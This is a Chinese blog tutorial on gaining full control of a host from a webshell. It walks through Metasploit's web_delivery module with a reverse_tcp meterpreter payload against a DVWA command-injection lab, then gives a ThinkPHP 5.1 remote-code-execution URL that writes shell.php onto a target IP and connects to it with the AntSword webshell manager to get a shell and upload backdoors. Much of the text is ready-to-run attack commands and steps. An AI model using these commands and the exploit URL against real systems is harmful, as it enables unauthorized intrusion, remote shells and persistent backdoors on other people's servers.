MSF-从webshell到完全控制

文章目录

  • 一、访问web站点,寻找漏洞
  • 二、利用thinkphp 5.1漏洞
  • 题外话


一、访问web站点,寻找漏洞

示例是在DVWA上的Command injection部分在low级别下进行的
在这里插入图片描述

当受害者主机存在比如命令注入、远程命令执行等问题时,攻击者可以利用web_delivery生成的一条命令建立连接。web_delivery支持php/python/powershell多种脚本。

进入msf,search web_delivery,选择

use exploit/multi/script/web_delivery

其默认脚本语言是python,如果要更换脚本语言可以show targets查看可以更换的语言的代号
在这里插入图片描述

set lhost = Your IP Address
set lport = Your Port
运行以后它会生成一条指令,只要目标机器运行这条指令我们就能建立session
在这里插入图片描述

在DVWA中直接输入这条命令,就能获取meterpreter

现在更换脚本语言为powershell,同时还要改变payload(在win7之后版本有效)

set target 2
set payload windows/meterpreter/reverse_tcp

如果提示端口被占用可以更换端口,或者jobs查看正在工作的端口,jobs -k ID 关闭该进程。
运行以后可以得到一条新的命令,能正确显示windows版本的语言

二、利用thinkphp 5.1漏洞

thinkphp是一个开源的php框架

我们输入URL
192.168.123.160/html/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&
content=
加粗部分就是一个webshell,最开头的是攻击目标的IP地址,接着的是你存放shell.php的文件路径,也就是说shell.php会和index.php在一个文件夹中

在目标主机植入webshell以后就要用到webshell管理工具,这里介绍蚁剑
右键添加数据,URL地址填写192.168.123.160/html/public/shell.php
连接密码就是POST[]里的内容:c
在这里插入图片描述

连接成功后双击就可以进入攻击目标的文件目录,右键还可以打开虚拟终端。至此就得到了一个目标主机的shell,还可以上传我们的后门文件。


题外话

以上介绍的两种方法需要两台主机能够连接,也就是它们要能互相ping通,这是reverse_tcp的基本要求。但是如果目标在公网,攻击者在内网,那么攻击者能ping通公网的目标,但是公网的目标ping不通攻击者,这个时候reverse_tcp就不能使用了,可以使用bind_tcp(绑定tcp)。但如果靶机连接不到攻击者,web_delievry就无法使用。


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部